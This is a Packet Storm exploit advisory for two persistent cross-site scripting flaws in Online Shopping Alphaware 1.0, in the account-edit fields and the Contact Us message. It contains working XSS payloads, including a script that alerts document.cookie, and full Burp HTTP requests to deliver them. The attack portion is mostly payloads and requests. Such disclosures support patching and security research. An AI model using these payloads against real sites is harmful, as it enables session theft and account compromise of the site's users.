exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online Shopping Alphaware 1.0 Cross Site Scripting

Online Shopping Alphaware 1.0 Cross Site Scripting
Posted Aug 5, 2020
Authored by Edo Maland

Online Shopping Alphaware version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 1bbd55c9f9e0edcb7f2d29d71a1388c6c031345adc68213198dff08b8c072b7f

Online Shopping Alphaware 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Online Shopping Alphaware 1.0  - 'Edit Customer Account' Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-8-4
# Exploit Author: Edo Maland
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql
# Version: 1.0
# Tested On Windows & Linux Server

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists within the 'Edit Customer Account' functionality of application.
# Vulnerable Parameter :
- firstname
- lastname
- address
- Country
- Mobile


# POC

Login to your Account
Go to url : http://example.com/alphaware/account.php
Payload :
- <img src=xss onerror=alert(1)>

# Burp Requests

POST /alphaware/function/edit_customer.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 266
Origin: http://example.com
Connection: close
Referer: http://example.com/alphaware/account.php?id=2
Cookie: PHPSESSID=tokl2nlnjtjud32laqupj07sss
Upgrade-Insecure-Requests: 1

firstname=<img src=xss onerror=alert(1)>&mi=2&lastname=Evil&address=Yogyakarta&country=Indonesia&zipcode=1337&mobile=1337&telephone=1337&email=info@xss.id&password=xss&edit=Save Changes






# Exploit Title: Online Shopping Alphaware 1.0 - 'Contact Us' Persistent Cross-Site Scripting (Unauthenticated)
# Date: 2020-8-4
# Exploit Author: Edo Maland
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql
# Version: 1.0
# Tested On Windows & Linux Server

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists within the 'Contact Us' functionality of application.
# Vulnerable Parameter : message


# POC

Go to url : http://example.com/alphaware/contactus.php
Write a message with this payload (%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E)


# Burp Requests

POST /alphaware/contactus.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://example.com
Connection: close
Referer: http://example.com/alphaware/contactus.php
Cookie: PHPSESSID=tokl2nlnjtjud32laqupj07sss
Upgrade-Insecure-Requests: 1

email=info%40xss.id&message=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&send=
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close